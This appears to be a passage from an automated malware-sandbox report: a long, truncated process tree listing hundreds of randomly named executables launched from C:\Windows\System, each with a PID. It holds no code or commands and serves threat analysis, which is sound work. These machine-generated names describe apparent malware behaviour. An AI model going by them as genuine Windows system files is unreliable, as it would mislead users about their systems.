- C:\Windows\System\FvoRXSR.exe
  C:\Windows\System\FvoRXSR.exe
  2⤵
  PID:8584
- C:\Windows\System\FdxsOXR.exe
  C:\Windows\System\FdxsOXR.exe
  2⤵
  PID:8604
- C:\Windows\System\YsyQxKE.exe
  C:\Windows\System\YsyQxKE.exe
  2⤵
  PID:8624
- C:\Windows\System\SyWbpph.exe
  C:\Windows\System\SyWbpph.exe
  2⤵
  PID:8644
- C:\Windows\System\gHVEQtW.exe
  C:\Windows\System\gHVEQtW.exe
  2⤵
  PID:8668
- C:\Windows\System\SkvzREK.exe
  C:\Windows\System\SkvzREK.exe
  2⤵
  PID:8684
- C:\Windows\System\eBsqhSA.exe
  C:\Windows\System\eBsqhSA.exe
  2⤵
  PID:8780
- C:\Windows\System\afcCNDX.exe
  C:\Windows\System\afcCNDX.exe
  2⤵
  PID:8816
- C:\Windows\System\zkqwxeX.exe
  C:\Windows\System\zkqwxeX.exe
  2⤵
  PID:8844
- C:\Windows\System\VIsDuAZ.exe
  C:\Windows\System\VIsDuAZ.exe
  2⤵
  PID:8864
- C:\Windows\System\IbvQFRT.exe
  C:\Windows\System\IbvQFRT.exe
  2⤵
  PID:8888
- C:\Windows\System\CyORGEO.exe
  C:\Windows\System\CyORGEO.exe
  2⤵
  PID:8912
- C:\Windows\System\ZvWIfjd.exe
  C:\Windows\System\ZvWIfjd.exe
  2⤵
  PID:8936
- C:\Windows\System\mAPKpMN.exe
  C:\Windows\System\mAPKpMN.exe
  2⤵
  PID:8960
- C:\Windows\System\fXupEql.exe
  C:\Windows\System\fXupEql.exe
  2⤵
  PID:8984
- C:\Windows\System\DJJkLJy.exe
  C:\Windows\System\DJJkLJy.exe
  2⤵
  PID:9000
- C:\Windows\System\yGPeCRF.exe
  C:\Windows\System\yGPeCRF.exe
  2⤵
  PID:9024
- C:\Windows\System\dTQBlnb.exe
  C:\Windows\System\dTQBlnb.exe
  2⤵
  PID:9048
- C:\Windows\System\KxNwlfg.exe
  C:\Windows\System\KxNwlfg.exe
  2⤵
  PID:9068
- C:\Windows\System\xTzVvgG.exe
  C:\Windows\System\xTzVvgG.exe
  2⤵
  PID:9096
- C:\Windows\System\yAFGDSz.exe
  C:\Windows\System\yAFGDSz.exe
  2⤵
  PID:9112
- C:\Windows\System\TyGLPUp.exe
  C:\Windows\System\TyGLPUp.exe
  2⤵
  PID:9132
- C:\Windows\System\XCPeagI.exe
  C:\Windows\System\XCPeagI.exe
  2⤵
  PID:9156
- C:\Windows\System\CsaQZEH.exe
  C:\Windows\System\CsaQZEH.exe
  2⤵
  PID:9176
- C:\Windows\System\GZyYFgp.exe
  C:\Windows\System\GZyYFgp.exe
  2⤵
  PID:9196
- C:\Windows\System\BfvxcOw.exe
  C:\Windows\System\BfvxcOw.exe
  2⤵
  PID:7880
- C:\Windows\System\ChriPEh.exe
  C:\Windows\System\ChriPEh.exe
  2⤵
  PID:7240
- C:\Windows\System\VJiySds.exe
  C:\Windows\System\VJiySds.exe
  2⤵
  PID:8276
- C:\Windows\System\wiiFObe.exe
  C:\Windows\System\wiiFObe.exe
  2⤵
  PID:7596
- C:\Windows\System\jbhGnES.exe
  C:\Windows\System\jbhGnES.exe
  2⤵
  PID:8324
- C:\Windows\System\elZjrsx.exe
  C:\Windows\System\elZjrsx.exe
  2⤵
  PID:8204
- C:\Windows\System\wHEerTU.exe
  C:\Windows\System\wHEerTU.exe
  2⤵
  PID:8288
- C:\Windows\System\mlElGEz.exe
  C:\Windows\System\mlElGEz.exe
  2⤵
  PID:4256
- C:\Windows\System\iErEHAT.exe
  C:\Windows\System\iErEHAT.exe
  2⤵
  PID:8580
- C:\Windows\System\VaqHWEb.exe
  C:\Windows\System\VaqHWEb.exe
  2⤵
  PID:8436
- C:\Windows\System\YFCkRUJ.exe
  C:\Windows\System\YFCkRUJ.exe
  2⤵
  PID:8500
- C:\Windows\System\FBofCpr.exe
  C:\Windows\System\FBofCpr.exe
  2⤵
  PID:8600
- C:\Windows\System\bYBgYvR.exe
  C:\Windows\System\bYBgYvR.exe
  2⤵
  PID:8540
- C:\Windows\System\pNPudgp.exe
  C:\Windows\System\pNPudgp.exe
  2⤵
  PID:8776
- C:\Windows\System\iJzrWHF.exe
  C:\Windows\System\iJzrWHF.exe
  2⤵
  PID:8924
- C:\Windows\System\pozqooa.exe
  C:\Windows\System\pozqooa.exe
  2⤵
  PID:8828
- C:\Windows\System\YzqvIld.exe
  C:\Windows\System\YzqvIld.exe
  2⤵
  PID:8264
- C:\Windows\System\rhpgysH.exe
  C:\Windows\System\rhpgysH.exe
  2⤵
  PID:9044
- C:\Windows\System\KkhztMU.exe
  C:\Windows\System\KkhztMU.exe
  2⤵
  PID:9120
- C:\Windows\System\HpvAkeS.exe
  C:\Windows\System\HpvAkeS.exe
  2⤵
  PID:2464
- C:\Windows\System\vwjvnql.exe
  C:\Windows\System\vwjvnql.exe
  2⤵
  PID:8336
- C:\Windows\System\gRyUmuj.exe
  C:\Windows\System\gRyUmuj.exe
  2⤵
  PID:1528
- C:\Windows\System\STWITET.exe
  C:\Windows\System\STWITET.exe
  2⤵
  PID:8664
- C:\Windows\System\SNwGtLL.exe
  C:\Windows\System\SNwGtLL.exe
  2⤵
  PID:8836
- C:\Windows\System\Usckwut.exe
  C:\Windows\System\Usckwut.exe
  2⤵
  PID:8756
- C:\Windows\System\OQIwpGB.exe
  C:\Windows\System\OQIwpGB.exe
  2⤵
  PID:9220
- C:\Windows\System\sBMZTVZ.exe
  C:\Windows\System\sBMZTVZ.exe
  2⤵
  PID:9248
- C:\Windows\System\rqHOGOu.exe
  C:\Windows\System\rqHOGOu.exe
  2⤵
  PID:9272
- C:\Windows\System\dUYewRB.exe
  C:\Windows\System\dUYewRB.exe
  2⤵
  PID:9296
- C:\Windows\System\buiIqJe.exe
  C:\Windows\System\buiIqJe.exe
  2⤵
  PID:9312
- C:\Windows\System\xIbbtRa.exe
  C:\Windows\System\xIbbtRa.exe
  2⤵
  PID:9332
- C:\Windows\System\OZqemZh.exe
  C:\Windows\System\OZqemZh.exe
  2⤵
  PID:9364
- C:\Windows\System\ennulrA.exe
  C:\Windows\System\ennulrA.exe
  2⤵
  PID:9388
- C:\Windows\System\orUZmyb.exe
  C:\Windows\System\orUZmyb.exe
  2⤵
  PID:9408
- C:\Windows\System\gUqIVBG.exe
  C:\Windows\System\gUqIVBG.exe
  2⤵
  PID:9440
- C:\Windows\System\ZBCgiLs.exe
  C:\Windows\System\ZBCgiLs.exe
  2⤵
  PID:9472
- C:\Windows\System\BjfNVpm.exe
  C:\Windows\System\BjfNVpm.exe
  2⤵
  PID:9492
- C:\Windows\System\mbvXXUE.exe
  C:\Windows\System\mbvXXUE.exe
  2⤵
  PID:9516
- C:\Windows\System\IyNUkij.exe
  C:\Windows\System\IyNUkij.exe
  2⤵
  PID:9536
- C:\Windows\System\RMdcYhs.exe
  C:\Windows\System\RMdcYhs.exe
  2⤵
  PID:9556
- C:\Windows\System\dEdfVuy.exe
  C:\Windows\System\dEdfVuy.exe
  2⤵
  PID:9572
- C:\Windows\System\HUWxBRI.exe
  C:\Windows\System\HUWxBRI.exe
  2⤵
  PID:9588
- C:\Windows\System\yykSsYP.exe
  C:\Windows\System\yykSsYP.exe
  2⤵
  PID:9604
- C:\Windows\System\AiAzEPX.exe
  C:\Windows\System\AiAzEPX.exe
  2⤵
  PID:10048
- C:\Windows\System\PyjWQkv.exe
  C:\Windows\System\PyjWQkv.exe
  2⤵
  PID:10064
- C:\Windows\System\tlnqyyq.exe
  C:\Windows\System\tlnqyyq.exe
  2⤵
  PID:10080
- C:\Windows\System\AqTcZrd.exe
  C:\Windows\System\AqTcZrd.exe
  2⤵
  PID:10100
- C:\Windows\System\BARnSAa.exe
  C:\Windows\System\BARnSAa.exe
  2⤵
  PID:10140
- C:\Windows\System\hcdDdzC.exe
  C:\Windows\System\hcdDdzC.exe
  2⤵
  PID:10172
- C:\Windows\System\wXUjWDF.exe
  C:\Windows\System\wXUjWDF.exe
  2⤵
  PID:10200
- C:\Windows\System\dueFIjA.exe
  C:\Windows\System\dueFIjA.exe
  2⤵
  PID:10224
- C:\Windows\System\fgBcSVs.exe
  C:\Windows\System\fgBcSVs.exe
  2⤵
  PID:9376
- C:\Windows\System\ZVEKPXC.exe
  C:\Windows\System\ZVEKPXC.exe
  2⤵
  PID:9404
- C:\Windows\System\fugWOvz.exe
  C:\Windows\System\fugWOvz.exe
  2⤵
  PID:8348
- C:\Windows\System\GimksOZ.exe
  C:\Windows\System\GimksOZ.exe
  2⤵
  PID:9552
- C:\Windows\System\rCozdHl.exe
  C:\Windows\System\rCozdHl.exe
  2⤵
  PID:9628
- C:\Windows\System\npSNKvu.exe
  C:\Windows\System\npSNKvu.exe
  2⤵
  PID:9016
- C:\Windows\System\ImXsciq.exe
  C:\Windows\System\ImXsciq.exe
  2⤵
  PID:9500
- C:\Windows\System\gMXKtWm.exe
  C:\Windows\System\gMXKtWm.exe
  2⤵
  PID:9108
- C:\Windows\System\gKBGGpS.exe
  C:\Windows\System\gKBGGpS.exe
  2⤵
  PID:8652
- C:\Windows\System\KvWLwhn.exe
  C:\Windows\System\KvWLwhn.exe
  2⤵
  PID:9360
- C:\Windows\System\NlIzWRP.exe
  C:\Windows\System\NlIzWRP.exe
  2⤵
  PID:9488
- C:\Windows\System\xgwpegK.exe
  C:\Windows\System\xgwpegK.exe
  2⤵
  PID:9568
- C:\Windows\System\KfUQbnp.exe
  C:\Windows\System\KfUQbnp.exe
  2⤵
  PID:9676
- C:\Windows\System\onXCHLn.exe
  C:\Windows\System\onXCHLn.exe
  2⤵
  PID:9484
- C:\Windows\System\OHhRfnW.exe
  C:\Windows\System\OHhRfnW.exe
  2⤵
  PID:9352
- C:\Windows\System\FOKkWuk.exe
  C:\Windows\System\FOKkWuk.exe
  2⤵
  PID:9792
- C:\Windows\System\jQRQHNC.exe
  C:\Windows\System\jQRQHNC.exe
  2⤵
  PID:9264
- C:\Windows\System\BBQRLXB.exe
  C:\Windows\System\BBQRLXB.exe
  2⤵
  PID:9304
- C:\Windows\System\VeNJMXC.exe
  C:\Windows\System\VeNJMXC.exe
  2⤵
  PID:9580
- C:\Windows\System\TkkYFrW.exe
  C:\Windows\System\TkkYFrW.exe
  2⤵
  PID:9908
- C:\Windows\System\WTrGFuG.exe
  C:\Windows\System\WTrGFuG.exe
  2⤵
  PID:10012
- C:\Windows\System\hmvHxvW.exe
  C:\Windows\System\hmvHxvW.exe
  2⤵
  PID:10108
- C:\Windows\System\HCcxuAa.exe
  C:\Windows\System\HCcxuAa.exe
  2⤵
  PID:10004
- C:\Windows\System\nBtngDF.exe
  C:\Windows\System\nBtngDF.exe
  2⤵
  PID:10024
- C:\Windows\System\LXLhmOV.exe
  C:\Windows\System\LXLhmOV.exe
  2⤵
  PID:10132
- C:\Windows\System\RyclBpt.exe
  C:\Windows\System\RyclBpt.exe
  2⤵
  PID:8728
- C:\Windows\System\iIUlNwU.exe
  C:\Windows\System\iIUlNwU.exe
  2⤵
  PID:8496
- C:\Windows\System\shbqDNP.exe
  C:\Windows\System\shbqDNP.exe
  2⤵
  PID:10236
- C:\Windows\System\rPfFJTk.exe
  C:\Windows\System\rPfFJTk.exe
  2⤵
  PID:10092
- C:\Windows\System\wgCgMex.exe
  C:\Windows\System\wgCgMex.exe
  2⤵
  PID:9244
- C:\Windows\System\fXwxgNt.exe
  C:\Windows\System\fXwxgNt.exe
  2⤵
  PID:9788
- C:\Windows\System\OSNRJJj.exe
  C:\Windows\System\OSNRJJj.exe
  2⤵
  PID:9716
- C:\Windows\System\NCkQAeJ.exe
  C:\Windows\System\NCkQAeJ.exe
  2⤵
  PID:10248
- C:\Windows\System\tOeYwqI.exe
  C:\Windows\System\tOeYwqI.exe
  2⤵
  PID:10264
- C:\Windows\System\QEPidBR.exe
  C:\Windows\System\QEPidBR.exe
  2⤵
  PID:10280
- C:\Windows\System\SyirfdT.exe
  C:\Windows\System\SyirfdT.exe
  2⤵
  PID:10300
- C:\Windows\System\Mzkdygb.exe
  C:\Windows\System\Mzkdygb.exe
  2⤵
  PID:10428
- C:\Windows\System\IAVwQad.exe
  C:\Windows\System\IAVwQad.exe
  2⤵
  PID:10448
- C:\Windows\System\nlwRUta.exe
  C:\Windows\System\nlwRUta.exe
  2⤵
  PID:10468
- C:\Windows\System\pyBaZUz.exe
  C:\Windows\System\pyBaZUz.exe
  2⤵
  PID:10492
- C:\Windows\System\aiblkvH.exe
  C:\Windows\System\aiblkvH.exe
  2⤵
  PID:10520
- C:\Windows\System\VufQfVD.exe
  C:\Windows\System\VufQfVD.exe
  2⤵
  PID:10544
- C:\Windows\System\qjTjROz.exe
  C:\Windows\System\qjTjROz.exe
  2⤵
  PID:10568
- C:\Windows\System\UVcygSQ.exe
  C:\Windows\System\UVcygSQ.exe
  2⤵
  PID:10680
- C:\Windows\System\EnWyvJD.exe
  C:\Windows\System\EnWyvJD.exe
  2⤵
  PID:10708
- C:\Windows\System\NDBUohb.exe
  C:\Windows\System\NDBUohb.exe
  2⤵
  PID:10732
- C:\Windows\System\UXaWsYZ.exe
  C:\Windows\System\UXaWsYZ.exe
  2⤵
  PID:10752
- C:\Windows\System\heWZjNO.exe
  C:\Windows\System\heWZjNO.exe
  2⤵
  PID:10916
- C:\Windows\System\QHDoXij.exe
  C:\Windows\System\QHDoXij.exe
  2⤵
  PID:10944
- C:\Windows\System\VpXVuMH.exe
  C:\Windows\System\VpXVuMH.exe
  2⤵
  PID:10992
- C:\Windows\System\haaaOgc.exe
  C:\Windows\System\haaaOgc.exe
  2⤵
  PID:11016
- C:\Windows\System\sxVNFyz.exe
  C:\Windows\System\sxVNFyz.exe
  2⤵
  PID:11040
- C:\Windows\System\KvTrFuH.exe
  C:\Windows\System\KvTrFuH.exe
  2⤵
  PID:11064
- C:\Windows\System\ZtyxGoa.exe
  C:\Windows\System\ZtyxGoa.exe
  2⤵
  PID:11080
- C:\Windows\System\RvyLdtV.exe
  C:\Windows\System\RvyLdtV.exe
  2⤵
  PID:11096
- C:\Windows\System\YiBgHki.exe
  C:\Windows\System\YiBgHki.exe
  2⤵
  PID:11112
- C:\Windows\System\YXMALjL.exe
  C:\Windows\System\YXMALjL.exe
  2⤵
  PID:11132
- C:\Windows\System\KyNFXAk.exe
  C:\Windows\System\KyNFXAk.exe
  2⤵
  PID:11156
- C:\Windows\System\BLkUxJK.exe
  C:\Windows\System\BLkUxJK.exe
  2⤵
  PID:11188
- C:\Windows\System\pCBgXHe.exe
  C:\Windows\System\pCBgXHe.exe
  2⤵
  PID:11208
- C:\Windows\System\yzKumIO.exe
  C:\Windows\System\yzKumIO.exe
  2⤵
  PID:11236
- C:\Windows\System\lpcJCqi.exe
  C:\Windows\System\lpcJCqi.exe
  2⤵
  PID:11252
- C:\Windows\System\hfCymfj.exe
  C:\Windows\System\hfCymfj.exe
  2⤵
  PID:10212
- C:\Windows\System\RaNRNbD.exe
  C:\Windows\System\RaNRNbD.exe
  2⤵
  PID:9836
- C:\Windows\System\lCIhDvi.exe
  C:\Windows\System\lCIhDvi.exe
  2⤵
  PID:9280
- C:\Windows\System\DuUXcnw.exe
  C:\Windows\System\DuUXcnw.exe
  2⤵
  PID:10136
- C:\Windows\System\LxjmmLo.exe
  C:\Windows\System\LxjmmLo.exe
  2⤵
  PID:9776
- C:\Windows\System\QQPVzbe.exe
  C:\Windows\System\QQPVzbe.exe
  2⤵
  PID:10164
- C:\Windows\System\RiIQAOx.exe
  C:\Windows\System\RiIQAOx.exe
  2⤵
  PID:8556
- C:\Windows\System\JjIgNCD.exe
  C:\Windows\System\JjIgNCD.exe
  2⤵
  PID:9920
- C:\Windows\System\UGIVblB.exe
  C:\Windows\System\UGIVblB.exe
  2⤵
  PID:10308
- C:\Windows\System\YcxYDRG.exe
  C:\Windows\System\YcxYDRG.exe
  2⤵
  PID:8896
- C:\Windows\System\ilGfTGc.exe
  C:\Windows\System\ilGfTGc.exe
  2⤵
  PID:9424
- C:\Windows\System\WvtQZAJ.exe
  C:\Windows\System\WvtQZAJ.exe
  2⤵
  PID:10120
- C:\Windows\System\aBRBvRZ.exe
  C:\Windows\System\aBRBvRZ.exe
  2⤵
  PID:10244
- C:\Windows\System\DxnRBfz.exe
  C:\Windows\System\DxnRBfz.exe
  2⤵
  PID:10460
- C:\Windows\System\mAFsMIZ.exe
  C:\Windows\System\mAFsMIZ.exe
  2⤵
  PID:10484
- C:\Windows\System\KTrRDPi.exe
  C:\Windows\System\KTrRDPi.exe
  2⤵
  PID:10516
- C:\Windows\System\ehnsbeg.exe
  C:\Windows\System\ehnsbeg.exe
  2⤵
  PID:9980
- C:\Windows\System\CqGilQE.exe
  C:\Windows\System\CqGilQE.exe
  2⤵
  PID:10344
- C:\Windows\System\FfMxBOg.exe
  C:\Windows\System\FfMxBOg.exe
  2⤵
  PID:10276
- C:\Windows\System\druAoyx.exe
  C:\Windows\System\druAoyx.exe
  2⤵
  PID:9340
- C:\Windows\System\EVCKrFZ.exe
  C:\Windows\System\EVCKrFZ.exe
  2⤵
  PID:10560
- C:\Windows\System\dmckQSv.exe
  C:\Windows\System\dmckQSv.exe
  2⤵
  PID:10364
- C:\Windows\System\JQNbUZG.exe
  C:\Windows\System\JQNbUZG.exe
  2⤵
  PID:10256
- C:\Windows\System\ClhscZL.exe
  C:\Windows\System\ClhscZL.exe
  2⤵
  PID:10420
- C:\Windows\System\PdEztRd.exe
  C:\Windows\System\PdEztRd.exe
  2⤵
  PID:10500
- C:\Windows\System\sAbBuYu.exe
  C:\Windows\System\sAbBuYu.exe
  2⤵
  PID:10724
- C:\Windows\System\AuDtvuP.exe
  C:\Windows\System\AuDtvuP.exe
  2⤵
  PID:11008
- C:\Windows\System\cQJtygH.exe
  C:\Windows\System\cQJtygH.exe
  2⤵
  PID:10648
- C:\Windows\System\MYQOzzh.exe
  C:\Windows\System\MYQOzzh.exe
  2⤵
  PID:11108
- C:\Windows\System\BRUDCVb.exe
  C:\Windows\System\BRUDCVb.exe
  2⤵
  PID:11164
- C:\Windows\System\KmyBVTW.exe
  C:\Windows\System\KmyBVTW.exe
  2⤵
  PID:2216
- C:\Windows\System\ouyjeSY.exe
  C:\Windows\System\ouyjeSY.exe
  2⤵
  PID:10688
- C:\Windows\System\NoyaOng.exe
  C:\Windows\System\NoyaOng.exe
  2⤵
  PID:10768
- C:\Windows\System\TfboEEO.exe
  C:\Windows\System\TfboEEO.exe
  2⤵
  PID:10804
- C:\Windows\System\vRdTJoK.exe
  C:\Windows\System\vRdTJoK.exe
  2⤵
  PID:10232
- C:\Windows\System\FCnktPE.exe
  C:\Windows\System\FCnktPE.exe
  2⤵
  PID:9292
- C:\Windows\System\IEAWufB.exe
  C:\Windows\System\IEAWufB.exe
  2⤵
  PID:11088
- C:\Windows\System\iKMTUFi.exe
  C:\Windows\System\iKMTUFi.exe
  2⤵
  PID:11276
- C:\Windows\System\ngLMHWA.exe
  C:\Windows\System\ngLMHWA.exe
  2⤵
  PID:11292
- C:\Windows\System\oewZywg.exe
  C:\Windows\System\oewZywg.exe
  2⤵
  PID:11308
- C:\Windows\System\JVyuCtj.exe
  C:\Windows\System\JVyuCtj.exe
  2⤵
  PID:11324
- C:\Windows\System\sRVYjEi.exe
  C:\Windows\System\sRVYjEi.exe
  2⤵
  PID:11340
- C:\Windows\System\CcEZIgx.exe
  C:\Windows\System\CcEZIgx.exe
  2⤵
  PID:11360
- C:\Windows\System\igRHiGm.exe
  C:\Windows\System\igRHiGm.exe
  2⤵
  PID:11384
- C:\Windows\System\BitNJdS.exe
  C:\Windows\System\BitNJdS.exe
  2⤵
  PID:11404
- C:\Windows\System\eipLYzZ.exe
  C:\Windows\System\eipLYzZ.exe
  2⤵
  PID:11432
- C:\Windows\System\gEEykGq.exe
  C:\Windows\System\gEEykGq.exe
  2⤵
  PID:11452
- C:\Windows\System\PkYVxjs.exe
  C:\Windows\System\PkYVxjs.exe
  2⤵
  PID:11472
- C:\Windows\System\FNXUemv.exe
  C:\Windows\System\FNXUemv.exe
  2⤵
  PID:11496
- C:\Windows\System\UcBNIJm.exe
  C:\Windows\System\UcBNIJm.exe
  2⤵
  PID:11516
- C:\Windows\System\LjFamxF.exe
  C:\Windows\System\LjFamxF.exe
  2⤵
  PID:11532
- C:\Windows\System\ceqMSsd.exe
  C:\Windows\System\ceqMSsd.exe
  2⤵
  PID:11560
- C:\Windows\System\AZNsiIu.exe
  C:\Windows\System\AZNsiIu.exe
  2⤵
  PID:11580
- C:\Windows\System\IOZQroO.exe
  C:\Windows\System\IOZQroO.exe
  2⤵
  PID:11604
- C:\Windows\System\tCpGFkv.exe
  C:\Windows\System\tCpGFkv.exe
  2⤵
  PID:11628
- C:\Windows\System\pWbNIZN.exe
  C:\Windows\System\pWbNIZN.exe
  2⤵
  PID:11644
- C:\Windows\System\AiDpknS.exe
  C:\Windows\System\AiDpknS.exe
  2⤵
  PID:11672
- C:\Windows\System\DMsjOpR.exe
  C:\Windows\System\DMsjOpR.exe
  2⤵
  PID:11696
- C:\Windows\System\TZMILrF.exe
  C:\Windows\System\TZMILrF.exe
  2⤵
  PID:11720
- C:\Windows\System\vlZHBSu.exe
  C:\Windows\System\vlZHBSu.exe
  2⤵
  PID:11740
- C:\Windows\System\jKJEtIt.exe
  C:\Windows\System\jKJEtIt.exe
  2⤵
  PID:11760
- C:\Windows\System\SHVSjhF.exe
  C:\Windows\System\SHVSjhF.exe
  2⤵
  PID:11784
- C:\Windows\System\zwPhBYv.exe
  C:\Windows\System\zwPhBYv.exe
  2⤵
  PID:11812
- C:\Windows\System\scmxETM.exe
  C:\Windows\System\scmxETM.exe
  2⤵
  PID:11832
- C:\Windows\System\oeoNRvf.exe
  C:\Windows\System\oeoNRvf.exe
  2⤵
  PID:11856
- C:\Windows\System\rhSdycP.exe
  C:\Windows\System\rhSdycP.exe
  2⤵
  PID:11876
- C:\Windows\System\CuQxOrz.exe
  C:\Windows\System\CuQxOrz.exe
  2⤵
  PID:11892
- C:\Windows\System\RmzLFJq.exe
  C:\Windows\System\RmzLFJq.exe
  2⤵
  PID:11908
- C:\Windows\System\XiqDUjf.exe
  C:\Windows\System\XiqDUjf.exe
  2⤵
  PID:12084
- C:\Windows\System\eLhMvCK.exe
  C:\Windows\System\eLhMvCK.exe
  2⤵
  PID:12112
- C:\Windows\System\GMKRjmy.exe
  C:\Windows\System\GMKRjmy.exe
  2⤵
  PID:12132
- C:\Windows\System\ujCsaIs.exe
  C:\Windows\System\ujCsaIs.exe
  2⤵
  PID:12160
- C:\Windows\System\hpbmxqE.exe
  C:\Windows\System\hpbmxqE.exe
  2⤵
  PID:12176
- C:\Windows\System\ybmWURo.exe
  C:\Windows\System\ybmWURo.exe
  2⤵
  PID:12192
- C:\Windows\System\vJnjBmk.exe
  C:\Windows\System\vJnjBmk.exe
  2⤵
  PID:12212
- C:\Windows\System\EiadxAc.exe
  C:\Windows\System\EiadxAc.exe
  2⤵
  PID:12232
- C:\Windows\System\rmzyOMC.exe
  C:\Windows\System\rmzyOMC.exe
  2⤵
  PID:12256
- C:\Windows\System\RYabKlz.exe
  C:\Windows\System\RYabKlz.exe
  2⤵
  PID:12272
- C:\Windows\System\htJMQFS.exe
  C:\Windows\System\htJMQFS.exe
  2⤵
  PID:10848
- C:\Windows\System\wBszgmi.exe
  C:\Windows\System\wBszgmi.exe
  2⤵
  PID:11732
- C:\Windows\System\dBfcWHO.exe
  C:\Windows\System\dBfcWHO.exe
  2⤵
  PID:11300
- C:\Windows\System\dsQVocx.exe
  C:\Windows\System\dsQVocx.exe
  2⤵
  PID:12280
- C:\Windows\System\kwMBxmV.exe
  C:\Windows\System\kwMBxmV.exe
  2⤵
  PID:11396
- C:\Windows\System\uoWMkPl.exe
  C:\Windows\System\uoWMkPl.exe
  2⤵
  PID:11972
- C:\Windows\System\jJrtEyv.exe
  C:\Windows\System\jJrtEyv.exe
  2⤵
  PID:11660
- C:\Windows\System\mpNeRgj.exe
  C:\Windows\System\mpNeRgj.exe
  2⤵
  PID:11716
- C:\Windows\System\IoaIuCS.exe
  C:\Windows\System\IoaIuCS.exe
  2⤵
  PID:11780
- C:\Windows\System\chmTaxD.exe
  C:\Windows\System\chmTaxD.exe
  2⤵
  PID:11820
- C:\Windows\System\hLzFxbY.exe
  C:\Windows\System\hLzFxbY.exe
  2⤵
  PID:11868
- C:\Windows\System\mCQAJuo.exe
  C:\Windows\System\mCQAJuo.exe
  2⤵
  PID:12152
- C:\Windows\System\lHTXumW.exe
  C:\Windows\System\lHTXumW.exe
  2⤵
  PID:3540
- C:\Windows\System\dZdOmcN.exe
  C:\Windows\System\dZdOmcN.exe
  2⤵
  PID:11128
- C:\Windows\System\gxieOop.exe
  C:\Windows\System\gxieOop.exe
  2⤵
  PID:11976
- C:\Windows\System\qnyuidu.exe
  C:\Windows\System\qnyuidu.exe
  2⤵
  PID:10880
- C:\Windows\System\efgogsR.exe
  C:\Windows\System\efgogsR.exe
  2⤵
  PID:12300
- C:\Windows\System\jVwYpRG.exe
  C:\Windows\System\jVwYpRG.exe
  2⤵
  PID:12316
- C:\Windows\System\ZETgHjH.exe
  C:\Windows\System\ZETgHjH.exe
  2⤵
  PID:12332
- C:\Windows\System\BsHeDXm.exe
  C:\Windows\System\BsHeDXm.exe
  2⤵
  PID:12348
- C:\Windows\System\wZYQYqa.exe
  C:\Windows\System\wZYQYqa.exe
  2⤵
  PID:12364
- C:\Windows\System\rGrsKNd.exe
  C:\Windows\System\rGrsKNd.exe
  2⤵
  PID:12380
- C:\Windows\System\AiNwsYv.exe
  C:\Windows\System\AiNwsYv.exe
  2⤵
  PID:12400
- C:\Windows\System\WEaRTgD.exe
  C:\Windows\System\WEaRTgD.exe
  2⤵
  PID:13132
- C:\Windows\System\ZwdvjAp.exe
  C:\Windows\System\ZwdvjAp.exe
  2⤵
  PID:13148
- C:\Windows\System\zMnRGKq.exe
  C:\Windows\System\zMnRGKq.exe
  2⤵
  PID:13164
- C:\Windows\System\FcznIjJ.exe
  C:\Windows\System\FcznIjJ.exe
  2⤵
  PID:13180
- C:\Windows\System\FcXuwtK.exe
  C:\Windows\System\FcXuwtK.exe
  2⤵
  PID:13196
- C:\Windows\System\xPqARYb.exe
  C:\Windows\System\xPqARYb.exe
  2⤵
  PID:2272
- C:\Windows\System\slRWMVh.exe
  C:\Windows\System\slRWMVh.exe
  2⤵
  PID:10512
- C:\Windows\System\kagtSkE.exe
  C:\Windows\System\kagtSkE.exe
  2⤵
  PID:12124
- C:\Windows\System\YljOBzF.exe
  C:\Windows\System\YljOBzF.exe
  2⤵
  PID:11904
- C:\Windows\System\JIliUMF.exe
  C:\Windows\System\JIliUMF.exe
  2⤵
  PID:12224
- C:\Windows\System\FnzAMgA.exe
  C:\Windows\System\FnzAMgA.exe
  2⤵
  PID:12268
- C:\Windows\System\soetvGl.exe
  C:\Windows\System\soetvGl.exe
  2⤵
  PID:10476
- C:\Windows\System\MkeqBHD.exe
  C:\Windows\System\MkeqBHD.exe
  2⤵
  PID:10328
- C:\Windows\System\VkXSLGe.exe
  C:\Windows\System\VkXSLGe.exe
  2⤵
  PID:11964
- C:\Windows\System\gXYEJuw.exe
  C:\Windows\System\gXYEJuw.exe
  2⤵
  PID:10744
- C:\Windows\System\ualsrvE.exe
  C:\Windows\System\ualsrvE.exe
  2⤵
  PID:11548
- C:\Windows\System\wUXZuGv.exe
  C:\Windows\System\wUXZuGv.exe
  2⤵
  PID:11244
- C:\Windows\System\GIdhGfb.exe
  C:\Windows\System\GIdhGfb.exe
  2⤵
  PID:2220
- C:\Windows\System\gRyXAGG.exe
  C:\Windows\System\gRyXAGG.exe
  2⤵
  PID:11612
- C:\Windows\System\UkQLvxk.exe
  C:\Windows\System\UkQLvxk.exe
  2⤵
  PID:11316
- C:\Windows\System\UKieQfp.exe
  C:\Windows\System\UKieQfp.exe
  2⤵
  PID:11968
- C:\Windows\System\KYJRQCO.exe
  C:\Windows\System\KYJRQCO.exe
  2⤵
  PID:4984
- C:\Windows\System\tHoyHMA.exe
  C:\Windows\System\tHoyHMA.exe
  2⤵
  PID:11664
- C:\Windows\System\GabjQZe.exe
  C:\Windows\System\GabjQZe.exe
  2⤵
  PID:4316
- C:\Windows\System\HlxnUbr.exe
  C:\Windows\System\HlxnUbr.exe
  2⤵
  PID:11052
- C:\Windows\System\rhhJxhY.exe
  C:\Windows\System\rhhJxhY.exe
  2⤵
  PID:2620
- C:\Windows\System\bMizIwt.exe
  C:\Windows\System\bMizIwt.exe
  2⤵
  PID:11304
- C:\Windows\System\dUwxNpe.exe
  C:\Windows\System\dUwxNpe.exe
  2⤵
  PID:11844
- C:\Windows\System\iESiLmD.exe
  C:\Windows\System\iESiLmD.exe
  2⤵
  PID:12312
- C:\Windows\System\byUXuWi.exe
  C:\Windows\System\byUXuWi.exe
  2⤵
  PID:12344
- C:\Windows\System\KZckazU.exe
  C:\Windows\System\KZckazU.exe
  2⤵
  PID:12392
- C:\Windows\System\yEmjHZN.exe
  C:\Windows\System\yEmjHZN.exe
  2⤵
  PID:12596
- C:\Windows\System\rvfaNpl.exe
  C:\Windows\System\rvfaNpl.exe
  2⤵
  PID:12648
- C:\Windows\System\gafSBQg.exe
  C:\Windows\System\gafSBQg.exe
  2⤵
  PID:4760
- C:\Windows\System\jEFDFhf.exe
  C:\Windows\System\jEFDFhf.exe
  2⤵
  PID:532
- C:\Windows\System\wUVIXQd.exe
  C:\Windows\System\wUVIXQd.exe
  2⤵
  PID:13096
- C:\Windows\System\BJdQdbW.exe
  C:\Windows\System\BJdQdbW.exe
  2⤵
  PID:3600
- C:\Windows\System\PiJtZef.exe
